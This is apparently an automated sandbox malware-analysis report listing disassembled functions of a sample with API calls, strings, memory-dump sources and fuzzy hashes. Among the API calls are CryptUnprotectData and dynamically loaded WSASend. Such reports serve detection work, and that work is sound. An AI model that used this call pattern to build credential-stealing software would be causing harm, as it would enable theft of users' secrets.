Download Yara Rule

Strings

v<Ea, xrefs: 009835E6
v<Ea, xrefs: 009835A0
v<Ea, xrefs: 00983494

Memory Dump Source

Source File: 00000000.00000002.4443393554.00000000008C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000000.00000002.4443347480.00000000008C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443546402.0000000000A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443590737.0000000000A42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443617768.0000000000A47000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443651478.0000000000A6F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443678273.0000000000A75000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443816633.0000000000C47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443838897.0000000000C48000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4444074596.0000000000FC6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8c0000_file.jbxd

Similarity

API ID:
String ID: v<Ea$v<Ea$v<Ea
API String ID: 0-1164314080
Opcode ID: 849dca8e394c1cd18f0e8956a0bad4e7ec32f5f3393527adb522ca0807fc998e
Instruction ID: ed9982c557c90ff74e47518b6aca83961a0fecdf74bbd572e1e7a3999f3ef8d7
Opcode Fuzzy Hash: 849dca8e394c1cd18f0e8956a0bad4e7ec32f5f3393527adb522ca0807fc998e
Instruction Fuzzy Hash: 09D18BB0D002888FDB25DFA8C9857EDBBB5FF05314F248299D459BB382D774AA84CB51

Uniqueness

Uniqueness Score: -1.00%

Function 009FC8D0 Relevance: 3.5, APIs: 2, Instructions: 484COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 009FCA85
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 009FCD87

Memory Dump Source

Source File: 00000000.00000002.4443393554.00000000008C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000000.00000002.4443347480.00000000008C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443546402.0000000000A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443590737.0000000000A42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443617768.0000000000A47000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443651478.0000000000A6F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443678273.0000000000A75000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443816633.0000000000C47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443838897.0000000000C48000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4444074596.0000000000FC6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8c0000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 885266447-0
Opcode ID: 744e9b9aee2617642840110847ef565d39606c8b72238ee25cdecf86505926e4
Instruction ID: 037456f64fb379c5f931e221cc81b919bfc8a122a4dc44cd6c5a03f1ae3d1a76
Opcode Fuzzy Hash: 744e9b9aee2617642840110847ef565d39606c8b72238ee25cdecf86505926e4
Instruction Fuzzy Hash: 5B02A0B060460EAFDB18CF28C940B7AB7E8BF88314F048A6DE659D7690D775ED54CB81

Uniqueness

Uniqueness Score: -1.00%

Function 0098C630 Relevance: 2.7, Strings: 2, Instructions: 244COMMON

Download Yara Rule

Strings

%s|%s, xrefs: 0098C89F
v<Ea, xrefs: 0098C7D2

Memory Dump Source

Source File: 00000000.00000002.4443393554.00000000008C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000000.00000002.4443347480.00000000008C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443546402.0000000000A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443590737.0000000000A42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443617768.0000000000A47000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443651478.0000000000A6F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443678273.0000000000A75000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443816633.0000000000C47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443838897.0000000000C48000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4444074596.0000000000FC6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8c0000_file.jbxd

Similarity

API ID:
String ID: %s|%s$v<Ea
API String ID: 0-2294493831
Opcode ID: 1d1967c1e7bb560735eb8b7d3dfa2090fe4637ce5c6aae2895f9b367d9533e6d
Instruction ID: 85869fb7e0a76e33e0dea566e3cdf6eec8267713d3a4bec010402fd94ea962c4
Opcode Fuzzy Hash: 1d1967c1e7bb560735eb8b7d3dfa2090fe4637ce5c6aae2895f9b367d9533e6d
Instruction Fuzzy Hash: A0A169B1D00208DFDB14DFA8CC85BAEBBB4FF48310F104259E559BB281D775AA85CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00983EB0 Relevance: 1.7, APIs: 1, Instructions: 208encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?,00000000), ref: 00983F07

Memory Dump Source

Source File: 00000000.00000002.4443393554.00000000008C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000000.00000002.4443347480.00000000008C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443546402.0000000000A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443590737.0000000000A42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443617768.0000000000A47000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443651478.0000000000A6F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443678273.0000000000A75000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443816633.0000000000C47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443838897.0000000000C48000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4444074596.0000000000FC6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8c0000_file.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: 862b3c9e669ae1e604e13f16ab069a513eed2cdf12f8dde266546dbeda703637
Instruction ID: 31db658ef6d3b72f024dade3e4373f73bf2801adbcea005f5e6f89496625b8a9
Opcode Fuzzy Hash: 862b3c9e669ae1e604e13f16ab069a513eed2cdf12f8dde266546dbeda703637
Instruction Fuzzy Hash: 3D71C371D0424C9BDB00EFA8C8417EEBBB4FF55710F10826AE954B7381EB756A44CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 008F1F8C Relevance: 1.3, APIs: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00000001,?,00000000,00000000,00000000,?,?,B83201CD,?,?,B83201DD,008F1FBA,?,?,B8320215), ref: 008F1FD9

Memory Dump Source

Source File: 00000000.00000002.4443393554.00000000008C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000000.00000002.4443347480.00000000008C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443546402.0000000000A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443590737.0000000000A42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443617768.0000000000A47000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443651478.0000000000A6F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443678273.0000000000A75000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443816633.0000000000C47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443838897.0000000000C48000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4444074596.0000000000FC6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8c0000_file.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: fbd976038285e8182d50f7bfb2f36dd4b58826baba959d6121694a1bbc1ea381
Instruction ID: 654b24d65449fcdca9ac930a45b829b4a6a3fbb9d778da9b16eea1f4a63ad42a
Opcode Fuzzy Hash: fbd976038285e8182d50f7bfb2f36dd4b58826baba959d6121694a1bbc1ea381
Instruction Fuzzy Hash: EEF05E7100420CFFDF116FB59C09DBA779DEB14370B108915BA69C51A1DB31996197A1

Uniqueness

Uniqueness Score: -1.00%

Function 0090001D Relevance: .3, Instructions: 318COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4443393554.00000000008C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000000.00000002.4443347480.00000000008C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443546402.0000000000A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443590737.0000000000A42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443617768.0000000000A47000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443651478.0000000000A6F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443678273.0000000000A75000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443816633.0000000000C47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443838897.0000000000C48000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4444074596.0000000000FC6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 479a1be08dfe441cdd76784df3927c5359b65329c34d43b47baad9e94d54c622
Instruction ID: 22e7cdadb7d778a153cebbf6e7734e9737b3d7cbf13972eca27e15780e7849c1
Opcode Fuzzy Hash: 479a1be08dfe441cdd76784df3927c5359b65329c34d43b47baad9e94d54c622
Instruction Fuzzy Hash: 4DB1E430A0460A8FCF68CF68C9597BEBBB9AFC5300F14061ED4A2E76D1D734AA41CB51

Uniqueness

Uniqueness Score: -1.00%

Function 008F1FAC Relevance: .0, Instructions: 23COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00000001,?,00000000,00000000,00000000,?,?,B83201CD,?,?,B83201DD,008F1FBA,?,?,B8320215), ref: 008F1FD9

Memory Dump Source

Source File: 00000000.00000002.4443393554.00000000008C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000000.00000002.4443347480.00000000008C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443546402.0000000000A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443590737.0000000000A42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443617768.0000000000A47000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443651478.0000000000A6F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443678273.0000000000A75000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443816633.0000000000C47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443838897.0000000000C48000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4444074596.0000000000FC6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8c0000_file.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 85e8adc8e9949a2e393a0aae3f0f5a1243c005fa49925dffb1a0c9d1f1d3ed29
Instruction ID: 055523ead78652c631a3e702485ce131b5195026115a486cf35ead2830704c90
Opcode Fuzzy Hash: 85e8adc8e9949a2e393a0aae3f0f5a1243c005fa49925dffb1a0c9d1f1d3ed29
Instruction Fuzzy Hash: F2E0C27200020CFFEF101EB88C00CBB779DFB04330B104915BA51C6190D7328C615760

Uniqueness

Uniqueness Score: -1.00%

Function 00923650 Relevance: 102.1, APIs: 3, Strings: 54, Instructions: 2365COMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNEL32(?,00000000), ref: 00925AD0
CreateDirectoryA.KERNEL32(?,00000000,00000000), ref: 00925CE6
CreateDirectoryA.KERNEL32(?,00000000,00000000), ref: 00925DF5

Strings

v<Ea, xrefs: 00924565
v<Ea, xrefs: 009255F5
v<Ea, xrefs: 0092635F
v<Ea, xrefs: 00923741
v<Ea, xrefs: 00924362
v<Ea, xrefs: 0092509A
v<Ea, xrefs: 0092663D
v<Ea, xrefs: 0092400A
v<Ea, xrefs: 00924A30
v<Ea, xrefs: 009240FD
v<Ea, xrefs: 009264A0
v<Ea, xrefs: 00924D19
v<Ea, xrefs: 009267E8
v<Ea, xrefs: 0092537A
v<Ea, xrefs: 00923E4D
v<Ea, xrefs: 00923C78
v<Ea, xrefs: 0092465B
v<Ea, xrefs: 00924082
v<Ea, xrefs: 00925750
v<Ea, xrefs: 00924EE2
v<Ea, xrefs: 00925D48
v<Ea, xrefs: 00923F8F
v<Ea, xrefs: 00924CA7
v<Ea, xrefs: 0092546D
v<Ea, xrefs: 00925112
v<Ea, xrefs: 00925674
v<Ea, xrefs: 00923C06
v<Ea, xrefs: 00924500
v<Ea, xrefs: 00926033
v<Ea, xrefs: 009245E4
v<Ea, xrefs: 00924489
v<Ea, xrefs: 0092426F
v<Ea, xrefs: 00923D23
v<Ea, xrefs: 00923A9B
v<Ea, xrefs: 009263DA
v<Ea, xrefs: 00925F16
v<Ea, xrefs: 00924B38
v<Ea, xrefs: 00925590
v<Ea, xrefs: 009253F2
v<Ea, xrefs: 00925C36
v<Ea, xrefs: 009252FF
v<Ea, xrefs: 009262E7
v<Ea, xrefs: 0092626C
v<Ea, xrefs: 00925519
v<Ea, xrefs: 0092518D
v<Ea, xrefs: 00923990
v<Ea, xrefs: 009242EA
v<Ea, xrefs: 009246C0
v<Ea, xrefs: 009256EB
v<Ea, xrefs: 009243DD
v<Ea, xrefs: 0092501F
v<Ea, xrefs: 0092615D
v<Ea, xrefs: 00924DBE
v<Ea, xrefs: 00925F88

Memory Dump Source

Source File: 00000000.00000002.4443393554.00000000008C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000000.00000002.4443347480.00000000008C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443546402.0000000000A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443590737.0000000000A42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443617768.0000000000A47000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443651478.0000000000A6F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443678273.0000000000A75000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443816633.0000000000C47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443838897.0000000000C48000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4444074596.0000000000FC6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8c0000_file.jbxd

Similarity

API ID: CreateDirectory
String ID: v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea
API String ID: 4241100979-409038647
Opcode ID: b70e1e685d5157f10f06018a88a79ecbb903c8e0c6e081af8b7dbfd5218683e3
Instruction ID: 496584ba409051db3a74a7ea294b1f9a4a19187a9eec18ea40d8ff03174ca7a1
Opcode Fuzzy Hash: b70e1e685d5157f10f06018a88a79ecbb903c8e0c6e081af8b7dbfd5218683e3
Instruction Fuzzy Hash: A353BCB4D152688FDB65DF28D994BDDBBB4BB49300F0081EAE449A7291DB706F84CF42

Uniqueness

Uniqueness Score: -1.00%

Function 0091E090 Relevance: 46.3, APIs: 10, Strings: 16, Instructions: 832
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryA.KERNEL32(?,00000000), ref: 0091E192
CreateDirectoryA.KERNEL32(?,00000000,?,-0000004C), ref: 0091E322
CreateDirectoryA.KERNEL32(?,00000000,00000000,?,?,?,-0000004C), ref: 0091E415
CreateDirectoryA.KERNEL32(?,00000000), ref: 0091E50B
CreateDirectoryA.KERNEL32(?,00000000,00000000), ref: 0091E757
CreateDirectoryA.KERNEL32(?,00000000), ref: 0091E8D5
CreateDirectoryA.KERNEL32(?,00000000,?,-0000004C), ref: 0091EA65
CreateDirectoryA.KERNEL32(?,00000000,00000000,?,?,?,-0000004C), ref: 0091EB58
CreateDirectoryA.KERNEL32(?,00000000), ref: 0091EC4E
CreateDirectoryA.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,-0000004C), ref: 0091EEA6

Strings

v<Ea, xrefs: 0091E281
v<Ea, xrefs: 0091EB9B
v<Ea, xrefs: 0091ED12
v<Ea, xrefs: 0091EA9B
v<Ea, xrefs: 0091E9C4
v<Ea, xrefs: 0091E458
4<Ea, xrefs: 0091E561
v<Ea, xrefs: 0091EDEC
v<Ea, xrefs: 0091E358
v<Ea, xrefs: 0091E869
v<Ea, xrefs: 0091E5C3
v<Ea, xrefs: 0091E691
v<Ea, xrefs: 0091E120
v<Ea, xrefs: 0091E61C
v<Ea, xrefs: 0091ED77
4<Ea, xrefs: 0091ECA4

Memory Dump Source

Source File: 00000000.00000002.4443393554.00000000008C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000000.00000002.4443347480.00000000008C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443546402.0000000000A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443590737.0000000000A42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443617768.0000000000A47000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443651478.0000000000A6F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443678273.0000000000A75000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443816633.0000000000C47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443838897.0000000000C48000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4444074596.0000000000FC6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8c0000_file.jbxd

Similarity

API ID: CreateDirectory
String ID: 4<Ea$4<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea
API String ID: 4241100979-3580313535
Opcode ID: 794e7e125c4ee2f5780f19d71862426a87699180cebe5b5f4a4494665ed98484
Instruction ID: 2e719b3399efa6387a67bb607af4db55d20ba15960e254d92556acf7fe4a487c
Opcode Fuzzy Hash: 794e7e125c4ee2f5780f19d71862426a87699180cebe5b5f4a4494665ed98484
Instruction Fuzzy Hash: 1892F3B0D042AC8BDB25DB68CC95BDDBBB4BB15304F0041EAD449A7292EB705F89DF52

Uniqueness

Uniqueness Score: -1.00%

Function 06EF2280 Relevance: 13.6, APIs: 9, Instructions: 96
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSAStartup.WS2_32(00000202,?), ref: 06EF22AA
getaddrinfo.WS2_32(FFFFFFFF,00000000,?,00000000), ref: 06EF2300
WSACleanup.WS2_32 ref: 06EF230F

Memory Dump Source

Source File: 00000000.00000002.4446031606.0000000006EE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 06EE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ee0000_file.jbxd

Similarity

API ID: CleanupStartupgetaddrinfo
String ID:
API String ID: 3142474549-0
Opcode ID: 6ed2048d73c37657928cc5316979ac28c06a6cc8d169aa7dc3a639db520ad2fa
Instruction ID: 792dcc18068dd7a3c0a473426c95c6ed87043596d705ed7257cde26b8a9f85b6
Opcode Fuzzy Hash: 6ed2048d73c37657928cc5316979ac28c06a6cc8d169aa7dc3a639db520ad2fa
Instruction Fuzzy Hash: 7A4119B4D14209EFDB04CFE8D448AEEBBB5BB49324F208699E625A73C0C7759A40CF51

Uniqueness

Uniqueness Score: -1.00%

Function 008C9280 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 383
libraryloadernetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(00000000,?), ref: 008C96B4
WSASend.WS2_32(?,?,00000001,?,00000000,00000000,00000000), ref: 008C96C9

Strings

Ws2_32.dll, xrefs: 008C969A
v<Ea, xrefs: 008C9660
v<Ea, xrefs: 008C962C

Memory Dump Source

Source File: 00000000.00000002.4443393554.00000000008C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000000.00000002.4443347480.00000000008C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443546402.0000000000A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443590737.0000000000A42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443617768.0000000000A47000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443651478.0000000000A6F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443678273.0000000000A75000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443816633.0000000000C47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443838897.0000000000C48000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4444074596.0000000000FC6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8c0000_file.jbxd

Similarity

API ID: AddressProcSend
String ID: Ws2_32.dll$v<Ea$v<Ea
API String ID: 3987619627-996692458
Opcode ID: 4209a01fb98a38ba35fb67e2c355e6e3767916aea0668d3c45888b6e3a7fd228
Instruction ID: 4af0b00110546d7a1910f545469e026abdfb671e8d7f7a1857015e603ee04f16
Opcode Fuzzy Hash: 4209a01fb98a38ba35fb67e2c355e6e3767916aea0668d3c45888b6e3a7fd228
Instruction Fuzzy Hash: A002FE70D04298DFDF25CFA8C894BACBBB0FF55314F24428DE485AB682D7705986CB92

Uniqueness

Uniqueness Score: -1.00%

Function 008C8F20 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 273
libraryloadernetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(00000000,?), ref: 008C91D3
WSASend.WS2_32(?,?,00000001,?,00000000,00000000,00000000,?,Ws2_32.dll), ref: 008C91EC

Strings

Ws2_32.dll, xrefs: 008C91BF
v<Ea, xrefs: 008C9169
v<Ea, xrefs: 008C9197

Memory Dump Source

Source File: 00000000.00000002.4443393554.00000000008C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000000.00000002.4443347480.00000000008C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443546402.0000000000A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443590737.0000000000A42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443617768.0000000000A47000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443651478.0000000000A6F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443678273.0000000000A75000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443816633.0000000000C47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443838897.0000000000C48000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4444074596.0000000000FC6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8c0000_file.jbxd

Similarity

API ID: AddressProcSend
String ID: Ws2_32.dll$v<Ea$v<Ea
API String ID: 3987619627-996692458
Opcode ID: c439a1728656996b03bf44e3f14bfc79c4e928e158b36e4d1d443437de240ff9
Instruction ID: 165943e10efc9a05112641105884213e2b2a50618f4fb1d4d0f19dd1ef93c20a
Opcode Fuzzy Hash: c439a1728656996b03bf44e3f14bfc79c4e928e158b36e4d1d443437de240ff9
Instruction Fuzzy Hash: 93C13570A01608DFCB24CFA8D849B9DBBB0FF08714F28819DE895AB391D771AD01CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00908900 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 280
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Vd$, xrefs: 00908BA2, 00908BF5, 00908C12, 00908C63

Memory Dump Source

Source File: 00000000.00000002.4443393554.00000000008C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000000.00000002.4443347480.00000000008C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443546402.0000000000A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443590737.0000000000A42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443617768.0000000000A47000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443651478.0000000000A6F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443678273.0000000000A75000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443816633.0000000000C47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443838897.0000000000C48000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4444074596.0000000000FC6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8c0000_file.jbxd

Similarity

API ID:
String ID: Vd$
API String ID: 0-1955881914
Opcode ID: ec5e4cbfbdb59ee3ba88f6d3530bbc3f1436a03ffd940df0df0c7106b1e7be9d
Instruction ID: a13f90d9ab0bc0c9f8c0f73b7e4bc2ae3df55557b529d80657989964307288c2
Opcode Fuzzy Hash: ec5e4cbfbdb59ee3ba88f6d3530bbc3f1436a03ffd940df0df0c7106b1e7be9d
Instruction Fuzzy Hash: B7B1E4B4F00259AFDB11DFA8C881BBE7BB9BF85310F144198E5949B2C2CB719D42CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00ABE5AD Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 81COMMON

Download Yara Rule

APIs

LoadStringW.USER32(008D1CDD,?,?,00BFE69A), ref: 00B02931

Strings

V, xrefs: 00C078C3
*, xrefs: 00C078D0

Memory Dump Source

Source File: 00000000.00000002.4443678273.0000000000A75000.00000020.00000001.01000000.00000003.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000000.00000002.4443347480.00000000008C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443393554.00000000008C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443546402.0000000000A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443590737.0000000000A42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443617768.0000000000A47000.00000020.00000001.01000000.00000003.sdmpDownload File
